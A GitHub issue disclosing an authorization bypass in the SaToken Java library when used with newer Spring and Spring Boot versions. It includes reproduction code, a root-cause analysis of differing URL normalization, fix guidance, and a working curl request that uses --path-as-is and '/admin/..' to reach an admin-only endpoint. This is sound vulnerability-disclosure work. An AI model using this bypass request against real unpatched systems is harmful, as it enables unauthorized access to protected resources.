Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SaToken和Spring对uri处理的差异化引发的越权漏洞(SaToken and Spring's differential handling of URIs raises authorization bypass vulnerabilities) #515

Closed
m4ra7h0n opened this issue Sep 24, 2023 · 3 comments

Comments

@m4ra7h0n
Copy link

m4ra7h0n commented Sep 24, 2023

affected version:

SaToken version <= 1.36.0
and (SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0)

fixed version:

version = 1.37.0

description

When SaToken version <= 1.36.0, together with SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0, a specially crafted HTTP request may cause an authentication bypass. The authentication bypass occurs when SaToken and Spring Boot/Spring are using different pattern-matching techniques. Update to SaToken 1.37.0 or set the following Spring Boot configuration value: spring.mvc.pathmatch.matching-strategy = ant_path_matcher

复现步骤:

First register the user, the permission is:user
(首先,注册用户,权限是user)

@Component
public class StpInterfaceImpl implements StpInterface {
    @Override
    public List<String> getPermissionList(Object loginId, String loginType) {
        List<String> list = new ArrayList<String>();
        list.add("user");
        return list;
    }
}

Register an interceptor whose interception address is:/admin/**,Need permission:admin
(注册一个拦截器,地址是/admin/**,需要权限admin)

@Configuration
public class SaTokenConfigure implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new SaInterceptor(handler -> {
            SaRouter
                .match("/**")
                .notMatch("/user/doLogin")
                .check(r -> StpUtil.checkLogin());

            SaRouter.match("/admin/**", r -> StpUtil.checkPermission("admin"));
        })).addPathPatterns("/**");
    }
}

Then write a login interface, an admin interface, the interface address is:/admin/**
(然后写一个登录接口,一个admin接口,admin接口地址是/admin/**)

@RestController
public class UserController {
    // Test login, browser access: http://localhost:8081/user/doLogin?username=zhang&password=123456
    @RequestMapping("/user/doLogin")
    public String doLogin(String username, String password) {
        if("zhang".equals(username) && "123456".equals(password)) {
            StpUtil.login(10001);
            return "success";
        }
        return "fail";
    }

    @RequestMapping("/admin/**")
    public String getPassword() {
        return "flag{m4ra7h0n}";
    }
}

Login first(http://localhost:8081/user/doLogin?username=zhang&password=123456)
(首先登录)
image
Then access: /admin/.. without url normalizing
(然后访问/admin/..,使用url未被curl/浏览器标准化的访问方式)

curl -H "Cookie: satoken=42ae3a64-974e-4e6e-8a9a-6a9e41c83396" --path-as-is http://localhost:8081/admin/..

image

root cause

其根本原因在于SaRequestForServlet.getRequestPath()函数使用HttpServletRequest.getServletPath()获取标准化的servlet path,处理了跨目录。

而Spring与SpringBoot情况如下(未处理跨目录):
1.SpringBoot版本>=2.3.1.RELEASE时org.springframework.web.servlet.mvc.method.RequestMappingInfo#getMatchingCondition()中使用PatternsCondition.getMatchingCondition()获取匹配的路径,其内部PathHelper.getLookupPathForRequest()函数查找映射时alwaysUseFullPath=true(这里是SpringBoot自动装配配置的,版本<=2.3.0.RELEASE时使用spring中默认的false),其使用getPathWithinApplication()查找url,未处理跨目录,而此时Spring版本<5.3.0
2.当Spring版本>=5.3.0时Url匹配模式直接从PatternsCondition.getMatchingCondition();转变成了PathPatternsRequestCondition.getMatchingCondition(),这会导致其使用ServletRequestPathUtils.getParsedRequestPath(request).pathWithinApplication();查找url,同样未处理跨目录。

Springboot版本>=2.3.1.RELEASE时引发的路径绕过可参考http://rui0.cn/archives/1643
spring5.3.0版本更新文档可参考https://spring.io/blog/2020/06/30/url-matching-with-pathpattern-in-spring-mvc
此漏洞可参考CVE-2023-22602
修复参考apache/shiro@e167a71

@m4ra7h0n m4ra7h0n changed the title SaToken和Spring对uri处理的差异化引发的越权漏洞 SaToken和Spring对uri处理的差异化引发的越权漏洞(SaToken and Spring's differential handling of URIs raises overreach vulnerabilities) Sep 24, 2023
@m4ra7h0n
Copy link
Author

同样问题在使用Jersey时貌似也存在https://forum.butian.net/share/2380
这个给了一个CVE-2023-34478漏洞编号

@click33
Copy link
Collaborator

click33 commented Sep 25, 2023

下个版本修复此问题

@m4ra7h0n
Copy link
Author

好的,可参考apache/shiro@c3ede3f
或者spring-security中的org.springframework.security.web.firewall.StrictHttpFirewall
这样会修复的彻底一些

@m4ra7h0n m4ra7h0n changed the title SaToken和Spring对uri处理的差异化引发的越权漏洞(SaToken and Spring's differential handling of URIs raises overreach vulnerabilities) SaToken和Spring对uri处理的差异化引发的越权漏洞(SaToken and Spring's differential handling of URIs raises authorization bypass vulnerabilities) Sep 29, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants